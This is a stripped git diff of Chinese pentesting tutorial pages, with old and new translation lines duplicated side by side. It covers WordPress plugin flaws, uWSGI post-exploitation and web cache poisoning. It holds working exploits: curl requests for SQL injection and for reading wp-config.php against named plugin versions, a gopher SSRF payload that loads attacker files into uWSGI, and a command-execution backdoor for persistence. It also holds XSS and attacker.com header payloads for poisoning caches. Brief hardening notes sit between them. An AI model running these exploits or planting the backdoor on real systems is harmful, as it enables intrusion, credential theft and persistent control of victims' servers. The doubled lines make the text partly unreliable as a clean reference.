- 在某些部署中,任何已认证用户都可以触发针对仍保存在 `viewing_admin_as_role_are` 中的其他用户名的重置(授权失效)。
利用前提
攻击先决条件
- 存在漏洞的 plugin 版本且该功能已启用
- 目标账号在早期使用时在 user meta 中保存了陈旧的高权限角色。
- 任何 authenticated 会话reset 流程中缺少 nonce/capability。
- 启用了该功能的易受攻击的插件版本
- 目标账户在用户 meta 中保留了先前使用留下的过期高权限角色。
- 任何已认证的会话;重置流程中缺少 nonce/capability。
利用(示例)
```bash
@ -526,34 +531,34 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
在易受攻击的构建上,这会移除当前角色并重新添加保存的原始角色(例如 `administrator`),从而有效提升权限。
在易受攻击的构建上,这会移除当前角色并重新添加保存的原始角色(例如 `administrator`),从而有效提升权限。
Detection checklist
- 查找在 user meta 中持久保存“原始角色”的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。
- 识别重置/恢复路径,条件包括
- 查找会在 user meta 中持久化“原始角色”的 role-switching 功能(例如 `_asenha_view_admin_as_original_roles`)。
- 识别重置/恢复路径,这些路径会
- 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。
- 通过 `add_role()` / `remove_role()` 修改角色,但没有使用 `current_user_can()``wp_verify_nonce()` / `check_admin_referer()`
- 通过 `add_role()` / `remove_role()` 修改角色,但使用 `current_user_can()``wp_verify_nonce()` / `check_admin_referer()`
- 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于执行者的权限。
Hardening
- 在所有会改变状态的分支上强制执行能力检查(例如 `current_user_can('manage_options')` 或更严格的检查)。
- 对所有角色/权限变更要求 nonce 并验证:`check_admin_referer()` / `wp_verify_nonce()`
- 不信任请求提供的用户名;应基于已认证的执行者和明确策略在服务器端解析目标用户。
- 在个人资料/角色更新时使“原始角色”状态失效,以避免恢复过时的高权限
- 在所有会改变状态的分支上强制执行权限检查(例如 `current_user_can('manage_options')` 或更严格的检查)。
- 所有角色/权限更改都必须使用 nonce 并进行验证:`check_admin_referer()` / `wp_verify_nonce()`
- 不信任请求提供的用户名;应基于已认证的执行者和明确策略在服务器端解析目标用户。
- 在配置档/角色更新时使“原始角色”状态失效,以避免陈旧的高权限恢复
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- 考虑仅保存最小状态,并为临时角色切换使用有时限且受 capability 保护的令牌
- 考虑尽量少存储状态并为临时角色切换使用时限性、capability-guarded tokens
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
一些插件将用户切换的辅助函数绑定到公共的 `init` 钩子,并从客户端可控的 cookie 推断身份。如果代码调用 `wp_set_auth_cookie()`但没有验证身份、capability 和有效的 nonce任何未认证的访客都可以强制以任意用户 ID 登录。
一些插件将 user-switching helpers 绑定到公共的 `init` hook并从客户端可控的 cookie 派生身份。如果代码在未验证 authentication、capability 和有效 nonce 的情况下调用 `wp_set_auth_cookie()`,任何 unauthenticated 访客都可以强制以任意用户 ID 登录。
典型的易受攻击模式(简化自 Service Finder Bookings ≤ 6.1
```php
@ -586,9 +591,9 @@ wp_die('No original user found to switch back to.');
```
为什么可被利用
- 公开的 `init` hook 使得处理程序对未认证用户可达(没有 `is_user_logged_in()` 保护)。
- 身份来客户端可修改的 cookie`original_user_id`)。
- 直接调用 `wp_set_auth_cookie($uid)`将请求者以该用户身份登录,而没有任何 capability/nonce 检查
- 公开的 `init` hook 使该处理程序对未认证用户可达(没有 `is_user_logged_in()` 检查)。
- 身份来源于客户端可修改的 cookie`original_user_id`)。
- 直接调用 `wp_set_auth_cookie($uid)`在没有任何 capability/nonce 检查的情况下将请求者以该用户身份登录
利用(未认证)
```http
@ -600,51 +605,51 @@ Connection: close
```
---
### WAF 考虑事项(针对 WordPress/plugin CVEs
### WAF considerations for WordPress/plugin CVEs
通用的 edge/server WAF 通常针对广泛的模式进行调优SQLi, XSS, LFI。许多高影响的 WordPress/plugin 漏洞是与应用相关的逻辑/auth bug除非引擎理解 WordPress 路由和插件语义,否则这些请求看起来像正常流量。
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
攻击方说明
进攻注意事项
- 针对插件特定端点使用干净的 payloads`admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- 先尝试未认证路径AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes。默认 payloads 通常在不做混淆的情况下就能成功。
- 典型的高影响案例privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- 针对插件特定端点使用干净的 payload`admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- 先尝试未认证路径AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes。默认 payload 常常在不混淆的情况下就能成功。
- 典型高影响场景privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
防御性说明
防御注意事项
- 不要依赖通用 WAF 签名来保护 plugin CVEs。应实施应用层的、针对具体漏洞的虚拟补丁或尽快更新。
- 在代码中优先使用正向安全检查capabilities, nonces, strict input validation,而不是依赖否定式的正则过滤。
- 不要依赖通用 WAF 签名来保护插件 CVEs。应在应用层实施针对漏洞的虚拟补丁或尽快更新。
- 在代码中优先使用正向安全检查capabilities, nonces, strict input validation而不是基于负向的 regex 过滤。
## WordPress 保护
## WordPress Protection
### 定期更新
### Regular Updates
确保 WordPress、plugins 和 themes 已更新到最新。并确认在 wp-config.php 中启用了自动更新:
确保 WordPress、plugins 和 themes 是最新的。还要确认在 wp-config.php 中启用了自动更新:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Also, **仅安装可信任的 WordPress 插件和主题**
此外,**仅安装可信赖的 WordPress 插件和主题**
### Security Plugins
### 安全插件
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Other Recommendations**
### **其他建议**
- 移除默认的 **admin** 用户
- 使用 **强密码** 和 **2FA**
- 定期 **审** 用户 **权限**
- 定期 **审** 用户 **权限**
- **限制登录尝试次数** 以防止 Brute Force 攻击
- 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。
- 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
### 未认证的 SQL Injection由于验证不足WP Job Portal <= 2.3.2
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,该任务最终在 `modules/category/model.php::validateFormData()` 中执行以下易受攻击的代码:
WP Job Portal 招聘插件暴露了一个 savecategory 任务,该任务最终在 `modules/category/model.php::validateFormData()` 中执行以下易受攻击的代码:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -654,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
此代码片段引入的问题:
Issues introduced by this snippet:
1. **未过滤的用户输入** `parentid` 直接来自 HTTP 请求。
2. **在 WHERE 子句中使用字符串拼接** 没有 `is_numeric()` / `esc_sql()` / prepared statement。
3. **未认证即可访问** 虽然该 action 是通过 `admin-post.php` 执行,但唯一存在的检查是 **CSRF nonce** (`wp_verify_nonce()`),任何访客都可以从嵌入短代码 `[wpjobportal_my_resumes]` 的公开页面获取。
1. **Unsanitised user input** `parentid` comes straight from the HTTP request.
2. **String concatenation inside the WHERE clause** no `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
#### Exploitation
#### 利用
1. Grab a fresh nonce:
1. 获取一个新的 nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Inject arbitrary SQL by abusing `parentid`:
2. 通过滥用 `parentid` 注入任意 SQL:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -674,18 +679,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
响应会显示注入查询的结果或修改数据库,从而证明存在 SQLi。
响应会披露注入查询的结果或更改数据库,从而证明 SQLi。
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
另一个任务,**downloadcustomfile**,允许访客通过 path traversal 下载 **磁盘上的任意文件**。易受攻击的漏洞点位于 `modules/customfield/model.php::downloadCustomUploadedFile()`
另一个任务,**downloadcustomfile**,允许访问者通过 path traversal 下载磁盘上的 **任意文件**。易受攻击的 sink 位于 `modules/customfield/model.php::downloadCustomUploadedFile()`
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` 由攻击者控制并被拼接,**未经过清理**。 再次,唯一的门槛是一个 **CSRF nonce**,可以从简历页面获取
`$file_name` 由攻击者控制并**without sanitisation** 的情况下被拼接。再次,唯一的门槛是可以从 resume 页面获取的 **CSRF nonce**
#### Exploitation
```bash
@ -696,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
服务器返回 `wp-config.php` 的内容leaking DB credentials auth keys。
服务器响应并返回 `wp-config.php` 的内容leaking DB credentials and auth keys。
## 参考资料

View File

@ -0,0 +1,169 @@
# WSGI 后渗透技巧
{{#include ../../banners/hacktricks-training.md}}
## WSGI 概述
Web Server Gateway Interface (WSGI) 是一个规范,描述了 web 服务器如何与 web 应用通信,以及 web 应用如何串联在一起以处理单个请求。uWSGI 是最流行的 WSGI 服务器之一,通常用于服务 Python web 应用。
## uWSGI Magic Variables 利用
uWSGI 提供了特殊的 "magic variables",可用于动态配置服务器行为。这些变量可以通过 HTTP 头设置,如果未被正确验证,可能导致严重的安全漏洞。
### 关键可利用变量
#### `UWSGI_FILE` - 任意文件执行
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
该变量允许将任意 Python 文件作为 WSGI 应用加载并执行。如果攻击者能控制此参数,则可以实现 Remote Code Execution (RCE)。
#### `UWSGI_SCRIPT` - 脚本加载
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
将指定的脚本作为新的应用程序加载。结合文件上传或写入能力,可能导致 RCE。
#### `UWSGI_MODULE``UWSGI_CALLABLE` - 动态模块加载
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
这些参数允许加载任意 Python 模块并调用其中的特定函数。
#### `UWSGI_SETENV` - Environment Variable Manipulation
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
可以用于修改环境变量,可能会影响应用行为或加载恶意配置。
#### `UWSGI_PYHOME` - Python 环境操控
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
更改 Python 的虚拟环境,可能会加载恶意包或不同的 Python 解释器。
#### `UWSGI_CHDIR` - 目录遍历
```
uwsgi_param UWSGI_CHDIR /etc/;
```
在处理请求之前更改工作目录,这可被用于 path traversal attacks。
## SSRF + Gopher to
### 攻击向量
当 uWSGI 可通过 SSRF (Server-Side Request Forgery) 访问时,攻击者可以与内部 uWSGI socket 交互以利用魔术变量magic variables。当出现以下情况时这尤其危险
1. 应用存在 SSRF 漏洞
2. uWSGI 在内部端口/套接字上运行
3. 应用未正确验证魔术变量
uWSGI 可以通过 SSRF 访问,因为配置文件 `uwsgi.ini` 包含:`socket = 127.0.0.1:5000`,使其可通过 SSRF 从 web 应用访问。
### 利用示例
#### 第 1 步Create Malicious Payload
首先,将 Python 代码注入到服务器可访问的文件中(在服务器内写入文件,文件扩展名无关):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### 第2步构造 uWSGI 协议请求
使用 Gopher 协议发送原始 uWSGI 数据包:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
This payload:
- 连接到 uWSGI 的端口 5000
- 将 `UWSGI_FILE` 设置为指向恶意文件
- 强制 uWSGI 加载并执行 Python 代码
### uWSGI 协议结构
The uWSGI protocol uses a binary format where:
- 变量以长度前缀字符串编码
- Each variable has: `[name_length][name][value_length][value]`
- 数据包以包含总大小的头部开始
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
然后使用 `UWSGI_FILE` 来加载这个 backdoor
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### 基于环境的持久化
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. 信息泄露
#### 环境变量转储
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### 文件系统访问
使用 `UWSGI_CHDIR` 结合文件服务访问敏感文件:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
如果 uWSGI 以提升的权限运行,攻击者可能操纵 socket 的权限:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### 配置覆盖
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## 参考资料
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,73 +4,73 @@
## 区别
> **What is the difference between web cache poisoning and web cache deception?**
> **web cache poisoning 和 web cache deception 有什么区别?**
>
> - 在 **web cache poisoning** 中,攻击者使应用将一些恶意内容存入缓存,这些内容会从缓存中提供给其他应用用户。
> - 在 **web cache deception** 中,攻击者促使应用将属于另一用户的一些敏感内容存入缓存,然后攻击者从缓存中检索这些内容。
> - 在 **web cache poisoning** 中,攻击者使应用将一些恶意内容存入缓存,这些内容会从缓存中提供给其他应用用户。
> - 在 **web cache deception** 中,攻击者使应用将属于其他用户的一些敏感内容存入缓存,然后攻击者从缓存中检索这些内容。
## Cache Poisoning
Cache poisoning 的目标是操纵客户端缓存,强制客户端加载意外的、部分的或由攻击者控制的资源。影响范围取决于受影响页面的受欢迎程度,因为被污染的响应只会在缓存污染期间提供给访问该页面的用户。
Cache poisoning 的目标是操纵客户端缓存,迫使客户端加载意外的、部分的或由攻击者控制的资源。影响范围取决于受影响页面的流行度——被污染的响应仅在缓存污染期间提供给访问该页面的用户。
执行 cache poisoning 攻击通常包括以下几个步骤:
执行 cache poisoning 攻击通常包括几个步骤:
1. **识别未键控输入**:这些是虽然不是缓存请求所必需的参数,但可以改变服务器返回的响应。识别这些输入非常关键,因为它们可以被利用来操纵缓存。
2. **滥用未键控输入**:在识别出未键控输入后,下一步是研究如何滥用这些参数以修改服务器响应,从而对攻击者有利。
3. **确保被污染的响应被缓存**:最后一步是确保被篡改的响应被存入缓存。这样,在缓存被污染期间访问受影响页面的任何用户都会收到被污染的响应。
1. **识别未键控输入**:这些是虽然不是缓存请求所必需但会改变服务器响应的参数。识别这些输入很重要,因为它们可被利用来操纵缓存。
2. **利用未键控输入**:在识别这些输入后,下一步是找出如何滥用这些参数以修改服务器响应,从而对攻击者有利。
3. **确保被污染的响应被缓存**:最后一步是确保被篡改的响应被存入缓存。这样,在缓存被污染期间访问页面的任何用户都会收到被污染的响应。
### 发现:检查 HTTP headers
### 发现:检查 HTTP 头部
通常,当响应被**存入缓存**时,会有一个**指示的 header**,你可以在这篇文章中查看应该注意哪些 header: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
通常,当响应被**存入缓存**时,会有一个**指示此情况的头部**。你可以在这篇文章中查看应关注哪些头部: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### 发现:缓存错误
### 发现:缓存错误状态
如果你怀疑响应被存入了缓存,你可以尝试**发送带有错误 header 的请求**,服务器应以**状态码 400** 响应。然后尝试正常访问该请求,如果**响应是 400 状态码**,则说明存在漏洞(你甚至可以进行 DoS
如果你怀疑响应被存入缓存,你可以尝试**发送带有错误头的请求**,这通常会得到**状态码 400**的响应。然后尝试正常访问该请求,如果**响应是 400 状态码**,说明存在漏洞(你甚至可以因此执行 DoS
You can find more options in:
你可以在以下位置找到更多选项:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
不过,请注意 **有时这些类型的状态码不会被缓存**,因此该测试可能不可靠。
但请注意,**有时这类状态码不会被缓存**,因此该测试可能不可靠。
### 发现:识别并评估未键控输入
你可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来**暴力枚举可能改变页面响应的参数和 headers**。例如,某个页面可能使用 header `X-Forwarded-For` 指示客户端从那里加载脚本:
你可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来**暴力枚举可能改变页面响应的参数和头部**。例如,某个页面可能使用头部 `X-Forwarded-For`指示客户端从那里加载脚本:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 从后端服务器诱发有害响应
### 诱使后端服务器返回有害响应
在识别出 parameter/header 后,检查它是如何被 **sanitised** 的,以及它 **在哪里****reflected** 或影响响应。你能否利用它(执行 XSS 或加载你控制的 JS 代码?执行 DoS...
识别出参数/头部后,检查它如何被 **清理** 以及它 **在哪里****反射** 或如何影响来自该头部的响应。你能滥用它吗(执行 XSS 或加载由你控制的 JS 代码?执行 DoS...
### 让响应被缓存
一旦你 **识别** 出可以被滥用的 **页面**要使用的 **parameter**/**header** 以及 **如何** 滥用它,就需要让该页面被缓存。根据你尝试放入缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
一旦你 **识别** 出可以被滥用的 **页面**应使用哪个 **参数**/**头部** 以及 **如何** **滥用** 它,就需要让该页面被缓存。根据你试图缓存的资源不同,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部 **`X-Cache`** 可能非常有用,当请求没有被缓存时它可能为 **`miss`**,当已被缓存时可能**`hit`**。\
头部 **`Cache-Control`** 也很有趣,可以用来判断资源是否被缓存以及下次资源何时会被再次缓存`Cache-Control: public, max-age=1800`
响应中的头部 **`X-Cache`** 可能非常有用,因为当请求未被缓存时它可能为 **`miss`**,而当被缓存时值**`hit`**。\
头部 **`Cache-Control`** 也很重要,用来判断资源是否被缓存以及资源下一次被缓存的时间`Cache-Control: public, max-age=1800`
另一个有趣的头部是 **`Vary`**。这个头部常用于 **指示额外的头部**,这些头部会被视为 **cache key 的一部分**,即使它们通常不作为键处理。因此,如果攻击者知道目标受害者使用的 `User-Agent`,他可以为使用该特定 `User-Agent` 的用户 poison the cache
另一个有趣的头**`Vary`**。该头通常用于**指示额外的头部**,这些头部会被视为**缓存键的一部分**,即便它们通常不被作为键。因此,如果攻击者知道目标受害者的 `User-Agent`,就可以为使用该特定 `User-Agent` 的用户污染缓存
另一个与缓存相关的头是 **`Age`**。它定义了对象在代理缓存中存在的秒数
另一个与缓存相关的头是 **`Age`**。它定义了对象在代理缓存中存在的时间(秒)
在缓存请求时,要 **注意你使用的头部**,因为其中一些头可能会被**意外**地作为**keyed** 使用,而**受害者需要使用相同的头部**。总是用 **不同的浏览器** 测试 Cache Poisoning 以确认是否生效。
在缓存请求时,要**小心你使用的头部**,因为其中一些可能**被意外用作键**,而**受害者需要使用相同的头部**。始终对 Cache Poisoning 使用**不同的浏览器**进行**测试**以检查其是否有效。
## 利用示例
## Exploiting Examples
### 最简单的示例
### Easiest example
`X-Forwarded-For` 这样的头部在响应中被未消毒地反射。\
你可以发送一个基本的 XSS payload 并 poison the cache这样所有访问该页面的人都会被 XSS:
`X-Forwarded-For` 这样的头在响应中以未清理的形式被反射。\
你可以发送一个基本的 XSS payload 并 poison the cache这样所有访问该页面的人都会被 XSSed
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_注意:这会对 `/en?region=uk` 的请求造成投毒,而不是对 `/en`_
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
@ -83,52 +83,52 @@ cache-poisoning-to-dos.md
**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** 中解释了以下简单场景:
- CDN 会缓存 `/share/` 下的任何内容
- CDN 不会解码或归一化 `%2F..%2F`,因此可以被用作 **path traversal 来访问其他会被缓存的敏感位置**,例如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web 服务器会解码并归一`%2F..%2F`,并会响应 `/api/auth/session`,该响应 **contains the auth token**
- CDN 会缓存位于 `/share/` 下的所有内容
- CDN 不会解码或规范化 `%2F..%2F`,因此它可以被用作 **path traversal to access other sensitive locations that will be cached**,例如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- web server 会解码并规范`%2F..%2F`,并会响应 `/api/auth/session`,该响应 **contains the auth token**
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies 也可能在页面响应中被反射。如果你能滥用这一点触发 XSS例如你就可能在多个加载该恶意缓存响应的客户端上利用 XSS。
Cookies 也可能会反射在页面的响应中。如果你能滥用它来触发 XSS例如你可能能够在多个加载恶意 cache response 的客户端上利用 XSS。
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求会清理 cache。
注意,如果易受攻击的 cookie 被大量用户频繁使用,常规请求会清理 cache。
### 通过分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
查看:
Check:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning 通过路径遍历窃取 API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API key任何匹配 `/share/*` 的请求会被缓存,而 Cloudflare 并未对 URL 进行规范化normalising这是在请求到达 web server 时才发生的。
这一点在以下文档中也有更详尽的解释:
This is also explained better in:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### 使用多个 headers 来利用 web cache poisoning 漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
有时你需要 **利用多个未键控输入** 才能滥用 cache。举例来说,如果你将 `X-Forwarded-Host` 设置为你控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`可能会发一个 **Open redirect**。如果 **server** 正在 **forwarding** 所有 **HTTP** 请求 **to HTTPS** 并在重定向时使用头 `X-Forwarded-Scheme` 作为重定向的域名,你就可以控制页面被重定向到何处
有时你需要 **exploit several unkeyed inputs** 才能滥用 cache。例如,如果你将 `X-Forwarded-Host` 设置为你控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,可能会发一个 **Open redirect**。如果 **server** 将所有 **HTTP** 请求 **forwarding****HTTPS**,并在重定向中使用头 `X-Forwarded-Scheme` 作为域名,那么你就可以控制重定向指向的位置
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 在受限 `Vary`header 情况下利用
### 使用受限的 `Vary` header 进行利用
如果你发现 **`X-Host`** header 被用作 **域名用于加载 JS 资源**,但响应中的 **`Vary`** header 表示的是 **`User-Agent`**。那么,你需要想办法 exfiltrate 受害者的 User-Agent并使用该 user agent 来 poison the cache
如果你发现 **`X-Host`** header 被用作 **domain name to load a JS resource**,但响应中的 **`Vary`** header 指示为 **`User-Agent`**,那么你需要找到一种方法来 exfiltrate 受害者的 User-Agent并使用该 user agent 来 poison the cache
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -137,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
发送一个 GET 请求,参数同时出现在 URL 和 body 中。如果 web server 使用 body 中的参数,但 cache server 缓存了 URL 中的参数,那么任何访问该 URL 的人实际上将使用 body 中的参数。像 James Kettle 在 Github 网站上发现的 vuln
发送一个 GET request将请求同时放在 URL 和 body 中。如果 web server 使用 body 中的那个,但 cache server 缓存了 URL 中的那个,那么任何访问该 URL 的人实际上都会使用来自 body 的 parameter。类似于 James Kettle 在 Github 网站上发现的 vuln
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -146,59 +146,59 @@ Content-Length: 22
report=innocent-victim
```
关于此有一个 portswigger lab [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
例如,在 ruby 服务器上可以使用字符 **`;`** 而不是 **`&`** 来分隔 **参数**。这可以用来将无键参数的值置入有键参数中并进行滥用。
For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portsswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
此了解如何执行 [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
这里学习如何执行 [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 可用于自动测试 Web Cache Poisoning。它支持许多不同的技术并且高度可定制。
